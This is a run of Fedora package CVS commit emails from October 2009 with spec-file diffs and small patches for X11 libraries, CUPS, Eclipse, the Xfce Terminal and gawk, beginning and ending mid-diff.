@@ -34,6 +34,9 @@ libXcursor development package.
 
 %prep
 %setup -q
+tr -d '\r' < COPYING > COPYING.new
+iconv -f ISO-8859-2 -t UTF-8 COPYING.new > COPYING
+
 
 # Disable static library creation by default.
 %define with_static 0



From paragn at fedoraproject.org  Thu Oct  8 10:37:26 2009
From: paragn at fedoraproject.org (paragn)
Date: Thu,  8 Oct 2009 10:37:26 +0000 (UTC)
Subject: rpms/libXdmcp/devel libXdmcp.spec,1.26,1.27
Message-ID: <20091008103726.B618E11C00DB@cvs1.fedora.phx.redhat.com>

Author: paragn

Update of /cvs/pkgs/rpms/libXdmcp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25258

Modified Files:
	libXdmcp.spec 
Log Message:
* Thu Oct 08 2009 Parag <paragn at fedoraproject.org> - 1.0.3-2
- Merge-Review #226068
- Removed BR:pkgconfig
- Few spec cleanups.




Index: libXdmcp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXdmcp/devel/libXdmcp.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- libXdmcp.spec	24 Sep 2009 00:39:40 -0000	1.26
+++ libXdmcp.spec	8 Oct 2009 10:37:26 -0000	1.27
@@ -1,7 +1,7 @@
-Summary: X.Org X11 libXdmcp runtime library
+Summary: X Display Manager Control Protocol library
 Name: libXdmcp
 Version: 1.0.3
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -9,21 +9,20 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 
 Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
 
-BuildRequires: pkgconfig
 BuildRequires: xorg-x11-proto-devel
 
 %description
-X.Org X11 libXdmcp runtime library
+X Display Manager Control Protocol library
 
 %package devel
-Summary: X.Org X11 libXdmcp development package
+Summary: Development files for %{name}
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
 Requires: xorg-x11-proto-devel
 Requires: pkgconfig
 
 %description devel
-X.Org X11 libXdmcp development package
+libXdmcp development package.
 
 %prep
 %setup -q
@@ -35,7 +34,7 @@ make %{?_smp_mflags}
 %install
 rm -rf $RPM_BUILD_ROOT
 
-make install DESTDIR=$RPM_BUILD_ROOT
+make install DESTDIR=$RPM_BUILD_ROOT INSTALL="install -p"
 
 # We intentionally don't ship *.la files
 rm -f $RPM_BUILD_ROOT%{_libdir}/*.la
@@ -59,6 +58,11 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/xdmcp.pc
 
 %changelog
+* Thu Oct 08 2009 Parag <paragn at fedoraproject.org> - 1.0.3-2
+- Merge-Review #226068
+- Removed BR:pkgconfig
+- Few spec cleanups.
+
 * Thu Sep 24 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.0.3-1
 - libXdmcp 1.0.3
 - libXdmcp-1.0.2-namespace-pollution.patch: drop



From paragn at fedoraproject.org  Thu Oct  8 10:39:55 2009
From: paragn at fedoraproject.org (paragn)
Date: Thu,  8 Oct 2009 10:39:55 +0000 (UTC)
Subject: rpms/libXevie/devel libXevie.spec,1.23,1.24
Message-ID: <20091008103955.CB24911C00DB@cvs1.fedora.phx.redhat.com>

Author: paragn

Update of /cvs/pkgs/rpms/libXevie/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25891

Modified Files:
	libXevie.spec 
Log Message:
* Thu Oct 08 2009 Parag <paragn at fedoraproject.org> - 1.0.2-8
- Merge-Review #226069
- Removed BR:pkgconfig and added Requires:pkgconfig
- spec cleanups




Index: libXevie.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXevie/devel/libXevie.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- libXevie.spec	25 Jul 2009 05:11:38 -0000	1.23
+++ libXevie.spec	8 Oct 2009 10:39:55 -0000	1.24
@@ -1,7 +1,7 @@
-Summary: X.Org X11 libXevie runtime library
+Summary: X Event Interceptor Library
 Name: libXevie
 Version: 1.0.2
-Release: 7%{?dist}
+Release: 8%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -9,20 +9,20 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 
 Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
 
-BuildRequires: pkgconfig
 BuildRequires: libX11-devel
 BuildRequires: libXext-devel
 
 %description
-X.Org X11 libXevie runtime library
+X Event Interceptor Library.
 
 %package devel
-Summary: X.Org X11 libXevie development package
+Summary: Development files for %{name}
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
+Requires: pkgconfig
 
 %description devel
-X.Org X11 libXevie development package
+libXevie development package.
 
 %prep
 %setup -q
@@ -35,12 +35,12 @@ X.Org X11 libXevie development package
 %if ! %{with_static}
 	--disable-static
 %endif
-make
+make %{?_smp_mflags}
 
 %install
 rm -rf $RPM_BUILD_ROOT
 
-make install DESTDIR=$RPM_BUILD_ROOT
+make install DESTDIR=$RPM_BUILD_ROOT INSTALL="install -p"
 
 # We intentionally don't ship *.la files
 rm -f $RPM_BUILD_ROOT%{_libdir}/*.la
@@ -53,7 +53,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc AUTHORS COPYING README ChangeLog
+%doc AUTHORS COPYING ChangeLog
 %{_libdir}/libXevie.so.1
 %{_libdir}/libXevie.so.1.0.0
 
@@ -69,6 +69,11 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*.3*
 
 %changelog
+* Thu Oct 08 2009 Parag <paragn at fedoraproject.org> - 1.0.2-8
+- Merge-Review #226069
+- Removed BR:pkgconfig and added Requires:pkgconfig
+- spec cleanups
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.2-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From twaugh at fedoraproject.org  Thu Oct  8 10:40:13 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Thu,  8 Oct 2009 10:40:13 +0000 (UTC)
Subject: rpms/cups/devel cups-generic-ps.patch, NONE, 1.1 cups.spec, 1.525,
	1.526
Message-ID: <20091008104013.1739F11C029B@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/cups/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26000

Modified Files:
	cups.spec 
Added Files:
	cups-generic-ps.patch 
Log Message:
* Thu Oct  8 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-9
- Fixed naming of 'Generic PostScript Printer' entry.


cups-generic-ps.patch:
 postscript.ppd |   10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

--- NEW FILE cups-generic-ps.patch ---
diff -up ./postscript.ppd.generic-ps ./postscript.ppd
--- ./postscript.ppd.generic-ps	2009-10-08 11:08:07.389336611 +0100
+++ ./postscript.ppd	2009-10-08 11:06:40.836338000 +0100
@@ -12,11 +12,11 @@
 *LanguageVersion: English
 *LanguageEncoding: ISOLatin1
 *PCFileName:	"POSTSCRIPT.PPD"
-*Manufacturer:	"Postscript"
-*Product:	"(CUPS v1.1)"
-*ModelName:     "Generic postscript printer"
-*ShortNickName: "Generic postscript printer"
-*NickName:      "Generic postscript printer"
+*Manufacturer:	"Generic"
+*Product:	"(PostScript Printer)"
+*ModelName:     "Generic PostScript Printer"
+*ShortNickName: "Generic PostScript Printer"
+*NickName:      "Generic PostScript Printer"
 *PSVersion:	"(2017.000) 0"
 *LanguageLevel:	"2"
 *ColorDevice:	False


Index: cups.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cups/devel/cups.spec,v
retrieving revision 1.525
retrieving revision 1.526
diff -u -p -r1.525 -r1.526
--- cups.spec	7 Oct 2009 16:46:04 -0000	1.525
+++ cups.spec	8 Oct 2009 10:40:12 -0000	1.526
@@ -9,7 +9,7 @@
 Summary: Common Unix Printing System
 Name: cups
 Version: 1.4.1
-Release: 8%{?dist}
+Release: 9%{?dist}
 License: GPLv2
 Group: System Environment/Daemons
 Source: http://ftp.easysw.com/pub/cups/1.4.0/cups-%{version}-source.tar.bz2
@@ -26,6 +26,7 @@ Source10: ncp.backend
 Source12: cups.cron
 Source14: textonly.filter
 Source15: textonly.ppd
+Patch0: cups-generic-ps.patch
 Patch1: cups-no-gzip-man.patch
 Patch2: cups-1.1.16-system-auth.patch
 Patch3: cups-multilib.patch
@@ -181,6 +182,10 @@ module. 
 
 %prep
 %setup -q
+gunzip -c %{SOURCE8} > postscript.ppd
+%patch0 -p0 -b .generic-ps
+gzip -n postscript.ppd
+
 %patch1 -p1 -b .no-gzip-man
 %patch2 -p1 -b .system-auth
 %patch3 -p1 -b .multilib
@@ -296,7 +301,7 @@ install -c -m 755 %{SOURCE6} $RPM_BUILD_
 install -c -m 644 %{SOURCE7} $RPM_BUILD_ROOT%{_sysconfdir}/cups
 
 # Ship a generic postscript PPD file (#73061)
-install -c -m 644 %{SOURCE8} $RPM_BUILD_ROOT%{_datadir}/cups/model
+install -c -m 644 postscript.ppd.gz $RPM_BUILD_ROOT%{_datadir}/cups/model
 
 # Ship a printers.conf file, and a client.conf file.  That way, they get
 # their SELinux file contexts set correctly.
@@ -509,6 +514,9 @@ rm -rf $RPM_BUILD_ROOT
 %{php_extdir}/phpcups.so
 
 %changelog
+* Thu Oct  8 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-9
+- Fixed naming of 'Generic PostScript Printer' entry.
+
 * Wed Oct  7 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-8
 - Use upstream patch for STR #3356 (bug #526405).
 



From paragn at fedoraproject.org  Thu Oct  8 10:40:33 2009
From: paragn at fedoraproject.org (paragn)
Date: Thu,  8 Oct 2009 10:40:33 +0000 (UTC)
Subject: rpms/libXfixes/devel libXfixes.spec,1.23,1.24
Message-ID: <20091008104033.6094D11C029B@cvs1.fedora.phx.redhat.com>

Author: paragn

Update of /cvs/pkgs/rpms/libXfixes/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26134

Modified Files:
	libXfixes.spec 
Log Message:
* Thu Oct 08 2009 Parag <paragn at fedoraproject.org> - 4.0.3-9
- Merge-Review #226071
- Removed XFree86-libs, xorg-x11-libs, XFree86-devel, xorg-x11-devel as Obsoletes
- Removed BR:pkgconfig
- spec cleanups




Index: libXfixes.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXfixes/devel/libXfixes.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- libXfixes.spec	25 Jul 2009 05:12:09 -0000	1.23
+++ libXfixes.spec	8 Oct 2009 10:40:33 -0000	1.24
@@ -1,7 +1,7 @@
-Summary: X.Org X11 libXfixes runtime library
+Summary: X Fixes library
 Name: libXfixes
 Version: 4.0.3
-Release: 8%{?dist}
+Release: 9%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -9,27 +9,23 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 
 Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
 
-BuildRequires: pkgconfig
 BuildRequires: libX11-devel
 BuildRequires: xorg-x11-proto-devel >= 7.0-7
 
-Obsoletes: XFree86-libs, xorg-x11-libs
-
 %description
-X.Org X11 libXfixes runtime library
+X Fixes library.
 
 %package devel
-Summary: X.Org X11 libXfixes development package
+Summary: Development files for %{name}
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
+Requires: pkgconfig
 
 # xfixes.pc Requires: xproto fixesproto >= 4.0
 Requires: xorg-x11-proto-devel >= 7.0-7
 
-Obsoletes: XFree86-devel, xorg-x11-devel
-
 %description devel
-X.Org X11 libXfixes development package
+libXfixes development package
 
 %prep
 %setup -q
@@ -42,12 +38,12 @@ X.Org X11 libXfixes development package
 %if ! %{with_static}
 	--disable-static
 %endif
-make
+make %{?_smp_mflags}
 
 %install
 rm -rf $RPM_BUILD_ROOT
 
-make install DESTDIR=$RPM_BUILD_ROOT
+make install DESTDIR=$RPM_BUILD_ROOT INSTALL="install -p"
 
 # We intentionally don't ship *.la files
 rm -f $RPM_BUILD_ROOT%{_libdir}/*.la
@@ -75,6 +71,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/Xfixes.3*
 
 %changelog
+* Thu Oct 08 2009 Parag <paragn at fedoraproject.org> - 4.0.3-9
+- Merge-Review #226071
+- Removed XFree86-libs, xorg-x11-libs, XFree86-devel, xorg-x11-devel as Obsoletes
+- Removed BR:pkgconfig
+- spec cleanups
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.0.3-8
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From akurtakov at fedoraproject.org  Thu Oct  8 11:00:54 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Thu,  8 Oct 2009 11:00:54 +0000 (UTC)
Subject: rpms/eclipse/devel eclipse.spec,1.675,1.676
Message-ID: <20091008110055.027BA11C0265@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/eclipse/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32096/devel

Modified Files:
	eclipse.spec 
Log Message:
- Fix install call.


Index: eclipse.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse/devel/eclipse.spec,v
retrieving revision 1.675
retrieving revision 1.676
diff -u -p -r1.675 -r1.676
--- eclipse.spec	8 Oct 2009 10:07:44 -0000	1.675
+++ eclipse.spec	8 Oct 2009 11:00:54 -0000	1.676
@@ -30,7 +30,7 @@ Epoch:  1
 Summary:        An open, extensible IDE
 Name:           eclipse
 Version:        %{eclipse_majmin}.%{eclipse_micro}
-Release:        4%{?dist}
+Release:        5%{?dist}
 License:        EPL
 Group:          Text Editors/Integrated Development Environments (IDE)
 URL:            http://www.eclipse.org/
@@ -49,15 +49,15 @@ Source27:       ecf-filetransfer-build.p
 # This script copies the platform sub-set of the SDK for generating metadata
 Source28:       %{name}-mv-Platform.sh
 
-Patch1:        %{name}-add-ppc64-sparc64-s390-s390x.patch
-Patch2:        %{name}-add-ppc64-sparc64-s390-s390x-2.patch
+Patch0:        %{name}-add-ppc64-sparc64-s390-s390x.patch
+Patch1:        %{name}-add-ppc64-sparc64-s390-s390x-2.patch
 
-Patch5:        %{name}-add-ppc64-filesystem.patch
+Patch2:        %{name}-add-ppc64-filesystem.patch
 
 # Make sure the shipped target platform templates are looking in the
 # correct location for source bundles (see RHBZ # 521969). This does not
 # need to go upstream.
-Patch6:        %{name}-target-platform-template.patch
+Patch3:        %{name}-target-platform-template.patch
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  ant
@@ -244,9 +244,9 @@ sed --in-place "s|$swt_frag_ver_s390x|$s
 
 # Nasty hack to get suppport for ppc64, sparc{,64} and alpha
 %ifarch ppc64
-%patch1 -p1
+%patch0 -p1
+%patch1
 %patch2
-%patch5
 %endif
 
 # Copy all of the s390x directories and files to ppc64 or sparc{,64} or alpha dirs and replace
@@ -489,7 +489,7 @@ popd
 popd
 
 # target platform template patch
-%patch6 -p0
+%patch3 -p0
 popd
 
 %build
@@ -534,7 +534,7 @@ SWT_MAJ_VER=$(grep maj_ver build/eclipse
 SWT_MIN_VER=$(grep min_ver build/eclipse-R3_5_1-fetched-src/plugins/org.eclipse.swt/Eclipse\ SWT/common/library/make_common.mak | cut -f 2 -d =)
 SWT_VERSION=$SWT_MAJ_VER$SWT_MIN_VER
 
-ant -DdestDir=$RPM_BUILD_ROOT -Dprefix=/usr -DbuildArch=%{eclipse_arch} install
+ant -DdestDir=$RPM_BUILD_ROOT -Dprefix=/usr -DbuildArch=%{eclipse_arch} -Dmultilib=true install
 
 cp $RPM_BUILD_ROOT%{_libdir}/eclipse/eclipse.ini eclipse.ini-real
 # Some directories we need
@@ -1228,6 +1228,9 @@ fi
 #%{_libdir}/%{name}/configuration/org.eclipse.equinox.source
 
 %changelog
+* Thu Oct 8 2009 Alexander Kurtakov <akurtako at redhat.com> 1:3.5.1-5
+- Fix install call.
+
 * Thu Oct 8 2009 Alexander Kurtakov <akurtako at redhat.com> 1:3.5.1-4
 - New eclipse-build snapshot. Remove parts included in it.
 



From cwickert at fedoraproject.org  Thu Oct  8 11:28:02 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Thu,  8 Oct 2009 11:28:02 +0000 (UTC)
Subject: rpms/Terminal/F-12 Terminal.spec,1.32,1.33
Message-ID: <20091008112802.76F0711C00DB@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/Terminal/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9119/F-12

Modified Files:
	Terminal.spec 
Log Message:
* Thu Oct 08 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.2-2
- Fix locale problems in the UI (bugzilla.xfce.org #5842)



Index: Terminal.spec
===================================================================
RCS file: /cvs/pkgs/rpms/Terminal/F-12/Terminal.spec,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- Terminal.spec	6 Oct 2009 22:06:16 -0000	1.32
+++ Terminal.spec	8 Oct 2009 11:28:02 -0000	1.33
@@ -1,10 +1,13 @@
 Summary: X Terminal Emulator
 Name: Terminal
 Version: 0.4.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: GPLv2+
 URL: http://www.xfce.org/projects/terminal/
 Source0:  http://archive.xfce.org/src/apps/terminal/0.4/Terminal-%{version}.tar.bz2
+# http://bugzilla.xfce.org/show_bug.cgi?id=5842 was fixed with
+# http://git.xfce.org/apps/terminal/commit/?id=5c955bb0435dca6d7114903d246cf2e4a215cc5e
+Patch0: Terminal-0.4.2-set-correct-gettext-domain.patch
 Group: User Interface/Desktops
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: vte-devel >= 0.17.1
@@ -22,6 +25,7 @@ it unique among X terminal emulators. 
 
 %prep
 %setup -q
+%patch0 -p1 -b .orig
 
 %build
 %configure
@@ -68,6 +72,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_libexecdir}/TerminalHelp
 
 %changelog
+* Thu Oct 08 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.2-2
+- Fix locale problems in the UI (bugzilla.xfce.org #5842)
+
 * Tue Oct 06 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.2-1
 - Update to 0.4.2
 - Update icon cache scriptlets



From cwickert at fedoraproject.org  Thu Oct  8 11:28:02 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Thu,  8 Oct 2009 11:28:02 +0000 (UTC)
Subject: rpms/Terminal/F-11 Terminal.spec,1.28,1.29
Message-ID: <20091008112802.93D9711C00DB@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/Terminal/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9119/F-11

Modified Files:
	Terminal.spec 
Log Message:
* Thu Oct 08 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.2-2
- Fix locale problems in the UI (bugzilla.xfce.org #5842)



Index: Terminal.spec
===================================================================
RCS file: /cvs/pkgs/rpms/Terminal/F-11/Terminal.spec,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- Terminal.spec	6 Oct 2009 22:06:18 -0000	1.28
+++ Terminal.spec	8 Oct 2009 11:28:02 -0000	1.29
@@ -1,10 +1,13 @@
 Summary: X Terminal Emulator
 Name: Terminal
 Version: 0.4.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: GPLv2+
 URL: http://www.xfce.org/projects/terminal/
 Source0:  http://archive.xfce.org/src/apps/terminal/0.4/Terminal-%{version}.tar.bz2
+# http://bugzilla.xfce.org/show_bug.cgi?id=5842 was fixed with
+# http://git.xfce.org/apps/terminal/commit/?id=5c955bb0435dca6d7114903d246cf2e4a215cc5e
+Patch0: Terminal-0.4.2-set-correct-gettext-domain.patch
 Group: User Interface/Desktops
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: vte-devel >= 0.17.1
@@ -22,6 +25,7 @@ it unique among X terminal emulators. 
 
 %prep
 %setup -q
+%patch0 -p1 -b .orig
 
 %build
 %configure
@@ -68,6 +72,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_libexecdir}/TerminalHelp
 
 %changelog
+* Thu Oct 08 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.2-2
+- Fix locale problems in the UI (bugzilla.xfce.org #5842)
+
 * Tue Oct 06 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.2-1
 - Update to 0.4.2
 - Update icon cache scriptlets



From cwickert at fedoraproject.org  Thu Oct  8 11:33:51 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Thu,  8 Oct 2009 11:33:51 +0000 (UTC)
Subject: rpms/Terminal/F-11 Terminal-0.4.2-set-correct-gettext-domain.patch, 
	NONE, 1.1
Message-ID: <20091008113351.EB11711C00DB@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/Terminal/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11343/F-11

Added Files:
	Terminal-0.4.2-set-correct-gettext-domain.patch 
Log Message:
add missing patch

Terminal-0.4.2-set-correct-gettext-domain.patch:
 terminal-preferences-dialog.c |    6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

--- NEW FILE Terminal-0.4.2-set-correct-gettext-domain.patch ---
>From 5c955bb0435dca6d7114903d246cf2e4a215cc5e Mon Sep 17 00:00:00 2001
From: Nick Schermer <nick at xfce.org>
Date: Thu, 08 Oct 2009 09:44:36 +0000
Subject: Set the correct translation domain before reading the ui file (bug #5842).

---
diff --git a/terminal/terminal-preferences-dialog.c b/terminal/terminal-preferences-dialog.c
index 7836032..c3bc2cf 100644
--- a/terminal/terminal-preferences-dialog.c
+++ b/terminal/terminal-preferences-dialog.c
@@ -101,6 +101,11 @@ terminal_preferences_dialog_init (TerminalPreferencesDialog *dialog)
 
   dialog->preferences = terminal_preferences_get ();
 
+  /* make sure the correct translation domain is set, since other programs
+   * could reset it, like for example the XFCE_LICENSE_GPL in terminal-dialogs.c,
+   * see http://bugzilla.xfce.org/show_bug.cgi?id=5842 */
+  xfce_textdomain (GETTEXT_PACKAGE, PACKAGE_LOCALE_DIR, "UTF-8");
+
   /* hack to initialize the XfceTitledDialog class */
   if (xfce_titled_dialog_get_type () == 0)
     return;
--
cgit v0.8.2.1



From cwickert at fedoraproject.org  Thu Oct  8 11:33:52 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Thu,  8 Oct 2009 11:33:52 +0000 (UTC)
Subject: rpms/Terminal/F-12 Terminal-0.4.2-set-correct-gettext-domain.patch, 
	NONE, 1.1
Message-ID: <20091008113352.1EC7511C00EC@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/Terminal/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11343/F-12

Added Files:
	Terminal-0.4.2-set-correct-gettext-domain.patch 
Log Message:
add missing patch

Terminal-0.4.2-set-correct-gettext-domain.patch:
 terminal-preferences-dialog.c |    6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

--- NEW FILE Terminal-0.4.2-set-correct-gettext-domain.patch ---
>From 5c955bb0435dca6d7114903d246cf2e4a215cc5e Mon Sep 17 00:00:00 2001
From: Nick Schermer <nick at xfce.org>
Date: Thu, 08 Oct 2009 09:44:36 +0000
Subject: Set the correct translation domain before reading the ui file (bug #5842).

---
diff --git a/terminal/terminal-preferences-dialog.c b/terminal/terminal-preferences-dialog.c
index 7836032..c3bc2cf 100644
--- a/terminal/terminal-preferences-dialog.c
+++ b/terminal/terminal-preferences-dialog.c
@@ -101,6 +101,11 @@ terminal_preferences_dialog_init (TerminalPreferencesDialog *dialog)
 
   dialog->preferences = terminal_preferences_get ();
 
+  /* make sure the correct translation domain is set, since other programs
+   * could reset it, like for example the XFCE_LICENSE_GPL in terminal-dialogs.c,
+   * see http://bugzilla.xfce.org/show_bug.cgi?id=5842 */
+  xfce_textdomain (GETTEXT_PACKAGE, PACKAGE_LOCALE_DIR, "UTF-8");
+
   /* hack to initialize the XfceTitledDialog class */
   if (xfce_titled_dialog_get_type () == 0)
     return;
--
cgit v0.8.2.1



From twaugh at fedoraproject.org  Thu Oct  8 11:37:52 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Thu,  8 Oct 2009 11:37:52 +0000 (UTC)
Subject: rpms/cups/F-12 cups-generic-ps.patch, NONE, 1.1 cups.spec, 1.525,
	1.526
Message-ID: <20091008113752.32AC511C00DB@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/cups/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12755

Modified Files:
	cups.spec 
Added Files:
	cups-generic-ps.patch 
Log Message:
* Thu Oct  8 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-9
- Fixed naming of 'Generic PostScript Printer' entry.


cups-generic-ps.patch:
 postscript.ppd |   10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

--- NEW FILE cups-generic-ps.patch ---
diff -up ./postscript.ppd.generic-ps ./postscript.ppd
--- ./postscript.ppd.generic-ps	2009-10-08 11:08:07.389336611 +0100
+++ ./postscript.ppd	2009-10-08 11:06:40.836338000 +0100
@@ -12,11 +12,11 @@
 *LanguageVersion: English
 *LanguageEncoding: ISOLatin1
 *PCFileName:	"POSTSCRIPT.PPD"
-*Manufacturer:	"Postscript"
-*Product:	"(CUPS v1.1)"
-*ModelName:     "Generic postscript printer"
-*ShortNickName: "Generic postscript printer"
-*NickName:      "Generic postscript printer"
+*Manufacturer:	"Generic"
+*Product:	"(PostScript Printer)"
+*ModelName:     "Generic PostScript Printer"
+*ShortNickName: "Generic PostScript Printer"
+*NickName:      "Generic PostScript Printer"
 *PSVersion:	"(2017.000) 0"
 *LanguageLevel:	"2"
 *ColorDevice:	False


Index: cups.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cups/F-12/cups.spec,v
retrieving revision 1.525
retrieving revision 1.526
diff -u -p -r1.525 -r1.526
--- cups.spec	7 Oct 2009 16:46:27 -0000	1.525
+++ cups.spec	8 Oct 2009 11:37:51 -0000	1.526
@@ -9,7 +9,7 @@
 Summary: Common Unix Printing System
 Name: cups
 Version: 1.4.1
-Release: 8%{?dist}
+Release: 9%{?dist}
 License: GPLv2
 Group: System Environment/Daemons
 Source: http://ftp.easysw.com/pub/cups/1.4.0/cups-%{version}-source.tar.bz2
@@ -26,6 +26,7 @@ Source10: ncp.backend
 Source12: cups.cron
 Source14: textonly.filter
 Source15: textonly.ppd
+Patch0: cups-generic-ps.patch
 Patch1: cups-no-gzip-man.patch
 Patch2: cups-1.1.16-system-auth.patch
 Patch3: cups-multilib.patch
@@ -181,6 +182,10 @@ module. 
 
 %prep
 %setup -q
+gunzip -c %{SOURCE8} > postscript.ppd
+%patch0 -p0 -b .generic-ps
+gzip -n postscript.ppd
+
 %patch1 -p1 -b .no-gzip-man
 %patch2 -p1 -b .system-auth
 %patch3 -p1 -b .multilib
@@ -296,7 +301,7 @@ install -c -m 755 %{SOURCE6} $RPM_BUILD_
 install -c -m 644 %{SOURCE7} $RPM_BUILD_ROOT%{_sysconfdir}/cups
 
 # Ship a generic postscript PPD file (#73061)
-install -c -m 644 %{SOURCE8} $RPM_BUILD_ROOT%{_datadir}/cups/model
+install -c -m 644 postscript.ppd.gz $RPM_BUILD_ROOT%{_datadir}/cups/model
 
 # Ship a printers.conf file, and a client.conf file.  That way, they get
 # their SELinux file contexts set correctly.
@@ -509,6 +514,9 @@ rm -rf $RPM_BUILD_ROOT
 %{php_extdir}/phpcups.so
 
 %changelog
+* Thu Oct  8 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-9
+- Fixed naming of 'Generic PostScript Printer' entry.
+
 * Wed Oct  7 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-8
 - Use upstream patch for STR #3356 (bug #526405).
 



From kasal at fedoraproject.org  Thu Oct  8 11:41:58 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu,  8 Oct 2009 11:41:58 +0000 (UTC)
Subject: rpms/gawk/devel gawk-posix-mode-argv0.patch, NONE, 1.1 gawk.spec,
	1.60, 1.61
Message-ID: <20091008114158.84BCF11C00DB@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/gawk/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14480

Modified Files:
	gawk.spec 
Added Files:
	gawk-posix-mode-argv0.patch 
Log Message:
- in posix mode, make ARGV[0] = argv[0] (#525381)

gawk-posix-mode-argv0.patch:
 main.c |    5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

--- NEW FILE gawk-posix-mode-argv0.patch ---
Sun Oct  4 21:46:11 2009  Arnold D. Robbins  <arnold at skeeve.com>

	* main.c (main): Don't reset argv[0] to myname. In call
	to `init_args', pass argv[0] if do_posix. Based on
	Fedora bug report.

Index: main.c
===================================================================
RCS file: /d/mongo/cvsrep/gawk-stable/main.c,v
retrieving revision 1.24
diff -u -r1.24 main.c
--- main.c	9 Jul 2009 19:54:38 -0000	1.24
+++ main.c	4 Oct 2009 19:46:06 -0000
